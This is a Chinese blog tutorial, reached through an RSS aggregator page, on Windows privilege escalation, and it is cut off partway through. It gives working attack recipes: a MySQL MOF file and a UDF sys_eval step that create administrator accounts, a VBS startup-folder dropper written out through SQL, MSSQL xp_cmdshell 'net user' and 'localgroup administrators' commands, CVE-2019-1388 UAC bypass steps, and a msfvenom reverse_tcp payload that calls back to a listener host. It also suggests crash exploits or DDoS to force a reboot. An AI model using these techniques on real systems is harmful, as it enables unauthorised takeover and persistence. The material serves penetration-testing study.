惯性聚合 高效追踪和阅读你感兴趣的博客、新闻、科技资讯
阅读原文 在惯性聚合中打开

推荐订阅源

H
Help Net Security
Scott Helme
Scott Helme
爱范儿
爱范儿
WordPress大学
WordPress大学
博客园 - 三生石上(FineUI控件)
阮一峰的网络日志
阮一峰的网络日志
博客园 - Franky
V
V2EX
腾讯CDC
博客园_首页
博客园 - 司徒正美
酷 壳 – CoolShell
酷 壳 – CoolShell
T
Tailwind CSS Blog
freeCodeCamp Programming Tutorials: Python, JavaScript, Git & More
OSCHINA 社区最新新闻
OSCHINA 社区最新新闻
小众软件
小众软件
J
Java Code Geeks
大猫的无限游戏
大猫的无限游戏
月光博客
月光博客
Microsoft Azure Blog
Microsoft Azure Blog
B
Blog
雷峰网
雷峰网
Stack Overflow Blog
Stack Overflow Blog
IT之家
IT之家
罗磊的独立博客
Recorded Future
Recorded Future
博客园 - 聂微东
O
OpenAI News
S
Secure Thoughts
Hacker News: Ask HN
Hacker News: Ask HN
S
Schneier on Security
Hacker News - Newest:
Hacker News - Newest: "LLM"
Y
Y Combinator Blog
C
Cyber Attacks, Cyber Crime and Cyber Security
Project Zero
Project Zero
宝玉的分享
宝玉的分享
K
Kaspersky official blog
N
Netflix TechBlog - Medium
T
The Exploit Database - CXSecurity.com
Google Online Security Blog
Google Online Security Blog
cs.CL updates on arXiv.org
cs.CL updates on arXiv.org
cs.CV updates on arXiv.org
cs.CV updates on arXiv.org
Webroot Blog
Webroot Blog
云风的 BLOG
云风的 BLOG
Simon Willison's Weblog
Simon Willison's Weblog
C
Check Point Blog
D
Darknet – Hacking Tools, Hacker News & Cyber Security
L
LINUX DO - 热门话题
美团技术团队
L
Lohrmann on Cybersecurity

卷卷

今日说法 节目汇总笔记 《斯坦福大学人生设计课》读书笔记 我的书单📖 H-worm (VBS蠕虫) 感染事件溯源分析报告 AMOS (Atomic Stealer) 恶意软件深度分析 银狐26年全面复活,对抗强度或已超25年最高水平 Atomic Stealer (AMOS) 回归:ClickFix、伪装加密货币应用与新型 macOS 持久化机制 关于xt.exe的分析报告 仿真钓鱼页面窃取用户凭证 GitHub Pages配置Cloudflare CDN踩坑之路 推荐RSS热力图和Github热力图使用指南 学习逆向工程相关概念 zabbix快速上手 学习python高级语法特性例题笔记 学习云计算基本理论学习笔记 学习Docker-Compose命令及镜像构建与推送 ATT &CK 框架实践阅读笔记 rundll32.exe恶意加载DLL文件外联 《悉达多》读书笔记 《稀缺》读书笔记 《认知觉醒》读书笔记 《营养学》读书笔记 《心理学》读书笔记 热💖生活 C++开发环境配置与程序运行笔记 IDA Free调试Hello World笔记 逆向免杀 Admin.canway账号命名方式 BAS - Breach and Attack Simulation Windows核心系统进程链与svchost深度解析 企业测试环境的弱口令需要整改吗 AI对话笔记-模板 网络安全行业招聘需求与技术能力分析 银狐木马技术原理分析与检测技术 SIEM-安全信息和事件管理 AI笔记 转载 专业备考⏳ 其他杂项🧶 Markdown 原生图片 知道创宇技能表 Prompt越狱手册 deepseek使用指南 清华大学 deepseek提问方法 markdown基本语法 数据湖:它们是什么?为什么您的组织需要一个? GitHub Codespaces velociraptor(迅猛龙)快速上手 学习windows快捷命令 学习常用 150 个Linux命令 软考中的一些概念 学习ssh基本使用 Linux系统换源输入法和包管理器 DC-8靶机 Metasploitable3下载与安装 信息收集方法及流程 防守之道 开发运维 免责声明 密码喷射攻击:防范攻击你需要知道的事项 密码学中的哈希解释:它的工作原理、算法和实际用途 应急响应术语 各种报错积累 漏洞挖掘思路 收藏夹 RDP和360星图使用 windows入侵排查 Linux入侵排查 Redis日志分析 Linux安全加固 windows安全加固 windows日志ID速查 中间件加固 数据库安全加固 MySQL注入复盘 学习git版本控制工具的概念与命令 学习Web Shell 学习Linux命令 java环境配置 学习python基础语法特性解题笔记 学习Mysql基础知识 windows权限维持 学习网络及安全的一些术语 PHP代码审计 Linux系统提权 MSSQL注入复盘 Linux权限维持 命令执行和反序列化 逻辑漏洞 upload-labs 框架漏洞 学习PHP语法特性 XXE&SSRF CSRF 文件上传 Google Hacking XSS-lab XSS实验 学习URL请求后的通信过程 FOFA
windows系统提权
卷卷 · 2024-09-23 · via 卷卷

windows提权分类

1.系统漏洞提权(Linux、Windows)内核提权
3.第三方软件/服务提权
2.数据库提权
4.系统配置错误提权

windows提权概述

提权,顾名思义就是提升权限,当我们getshell一个网站之后,大部分情况下我们的权限是非常低的,这时就需要利用提权,让原本的低权限(如只允许列目录)→高权限(拥有修改文件的能力)权限提升后,对接下来的渗透有很大帮助。
windows:

user-->System
user-->Administrator

Linux:
user-->Root

windows提权流程

获得目标机shll=>查看补丁记录=>寻找对应EXP=>使用Exp提权

1.windows系统漏洞提权

  1. 查看这台主机还有哪些漏洞没有修复

    方法一:在cmd中输入systeminfo查看补丁安装情况

    image

    方法二:通过命令查询出哪些补丁没有安装

  2. 查找补丁对应的漏洞号 使用在线查询工具

    http://blog.neargle.com/win-powerup-exp-index/#

    http://tools.sbbbb.cn/tiquan/

    http://bypass.tidesec.com/exp/

  3. 查找对应提权exp

    可在搜索引擎查找

    github查找 github.com/SecWiki/windows-kernel-exploits

    windows中提权exp的格式为

    image

  4. 配合msf进行提权

2.windows 数据库提权

mysql-mof提权步骤
  1. 在可写目录中上传mof文件

    nullevt.mof 文件

    #pragma namespace("\\\\.\\root\\subscription")
    instance of __EventFilter as $EventFilter
    {
    EventNamespace = "Root\\Cimv2";
    Name = "filtP2";
    Query = "Select * From __InstanceModificationEvent "
    "Where TargetInstance Isa \"Win32_LocalTime\" "
    "And TargetInstance.Second = 5";
    QueryLanguage = "WQL";
    };
    instance of ActiveScriptEventConsumer as $Consumer
    {
    Name = "consPCSV2";
    ScriptingEngine = "JScript";
    ScriptText =
    "var WSH = new ActiveXObject(\"WScript.Shell\")\nWSH.run(\"net.exe user zhang 123456 /add\")";
    };
    instance of __FilterToConsumerBinding
    {
    Consumer = $Consumer;
    Filter = $EventFilter;
    };
  2. 把.mof脚本移动到指定的目录:c:/windows/system32/wbem/mof/目录下,该目录每5秒执行一次image

  3. 执行 load file 及 into dumpfile 把文件导出到正确的位置

    select load_file('c:/phpstudy/www/nullevt.mof')into dumpfile'c:/windows/system32/wbem/mof/nullevt.mof';
  4. 执行成功后,验证mof文件中的cmd命令是否执行

    image

  5. 同样的方法修改mof文件再重复上次的步骤,可以将用户添加到管理员组

mysql-UDF提权
UDF提权原理

UDF(User Defined Function)用户自定义函数,支持用户自定义

通过添加新的函数,对mysqI服务器进行功能扩充,从而创建函数,将MYSQL账号转化为系统system权限

UDF提权是通过root权限导出udf.dll到系统目录下,可以通过udf.dll调用执行cmd

利用UDF提权条件
  1. Windows 2000、XP、2003

    1. MySQL数据库版本
  2. 3.账号具有对MySQL的插入和删除权限

  3. 4.可以将udf.d写入到相应目录的权限

    image

MySQL-UDF提权步骤
  1. 收集必要信息

    select version(); select user(); select @@basedir, //获取数据库版本 //获取数据库用户 //获取数据库安装目录

image

  1. MySQL版本高于5.1,创建导出文件夹

    /lib/plugin目录本身是不存在的,可以利用NTFS ADS流来创建文件夹

    select 'xxx' into dumpfile 'MySQL目录\\lib::$INDEX ALLOCATION';
    select 'xxx' into dumpfile 'MySQL目录\\lib\\plugin::$INDEX ALLOCATION';

    也可以利用webshell直接在mysql安装路径下创建piugin目录

  2. 导入 udf.dl 文件

    DLL文件的获取方法:

    在 sqlmap/data/udf/mysq!/ 目录下,

    在Windows目录中有32位和64位dll文件(MySQL的位数,文件夹中的dll文件是通过异或编码的,可以使用sqlmap/extra/cloak.py进行解密

    将dll文件上传到mysql的/Iib/plugin目录下

    image

  3. 创建自定义函数

    create function sys_eval returns string soname 'udf.dll';  #创建自定义函数  需要创建.dll文件中存在的函数才可以
    select sys_eval("net user youze1 123456 /add");   #创建用户
    select sys_eval("net localgroup administrators youze1 /add"); #提升为管理员权限
    drop function sys_eval;  #清除痕迹
    delete from mysql.func where name="sys_eval";

image

mysql启动项提权
原理

将一段 VBS脚本导入到开机启动项中,如果管理员重启了服务器,那么就会自动调用该脚本,并执行其中的用户添加 及提权命令

利用条件:
  1. 上传到目录必须具备可读写的权限

  2. 调用的 cmd 也必须有足够的权限

  3. 重启服务器可以利用一些可导致服务器蓝屏的EXP,或者DDoS拒绝服务

步骤
  1. 如果可以直接上传到启动项目录就不需要使用数据库

    C:\Documents and Settings\All Users\「开始」菜单\程序\启动 目录存在可读写的权限

  2. 进入test数据库,并创建一个新的表:

    create table a(cmd text) // a表名,字段名cmd,text文本类型

  3. 在表中插入数据

    insert into a values("set wshshell=createobject(""wscript.shell"")"); 
    insert into a values("a=wshshell.run(""cmd.exe /c net user icg 123.com /add"" 0)"); 
    insert into a values("b=wshshell.run(""cmd.exe /c net localgroup administrators icg /add"",0)");
  4. 输出表为一个 VBS 的脚本文件

    select * from a into dumpfile "C:\Documents and Settings\Administrator\「开始」菜单\程序启动\1.vbs"

  5. 利用其他手段重启电脑

MSSQL xp_cmdshell提权
  1. 连接数据库之后

  2. 查看相干信息

    --查看当前版本:
    select @@version 
    --判断当前是否为sa:
    select is_srvrolemember('sysadmin') 
    --判断是否有public权限,可以爆破表:
    select is_srvrolemember('public') 
    --判断当前用户写文件、读文件的权限:
    select is_srvrolemember('db_owner')
  3. 查看数据库中是否有 xp_cmdshell 扩展存储插件,返回值为 1则说明该数据库中有插件 MSSQL使用xp_cmdshell

    select count(*) from master.dbo.sysobjects where xtype='x'and name='xp cmdshell';
  4. 开启xp_cmdshell MSSQL使用xp_cmdshell

  5. 执行命令创建用户

    exec master.xp_cmdshell 'net user youze 123456 /add'       -- 添加用户ichungiu,密码123.com 
    exec master.xp_cmdshell ' net localgroup administrators youze /add'       -- 添加ichunqiu到管理员组

3.windows bypass UAC提权

利用CVE-2019-1388实现bypass UAC

原理:

如果在运行一个可执行文件的时候我们触发了 UAC,在点击「展示证书发行者的详细信息」这个链接之后 可以看到证书里的 Issued by 字段,这个字段对应的值就是 OID。证书会解析 OID 的值,可能显示为超链接,但是 Windows 忘记禁用了 OID 处的超链接,这就给了我们提权的可能

步骤

  1. 查看是否打补丁 systeminfo

  2. 下载EXP:CVE-2019-1388/HHUPD.EXE 这里是开启http服务上传​

    image

  3. 将exp下载到目标机中,并以管理员权限打开HHUPD.EXE,点击显示详细信息​

    image

  4. 点击显示详细信息里的 "显示有关此发布者的证书的信息“

  5. 将弹出的网页"另存为”,弹出位置不可用窗口后点击确定

  6. 通过在保存网页的文件资源管理器的地址栏输入“C:\windows\system32\cmd.exe”打开cmd 这样才能继承浏览器的SYSTEM权限​

    image

利用MSF的 bypassuac 模块
msfvenom -p windows/meterpreter/reverse_tcp lhost=192.168.61.20 lport=6666 -f exe -o tests.exe  #lhostiplport

image

image

image

image

image

image

image

通过一系列的前期渗透测试,已经获得了目标机器的meterpreter shell,当前权限为普通用户权限,可以尝试获取系统的System权限。

MSF-bypassuac

4.windows错误系统配置提权

...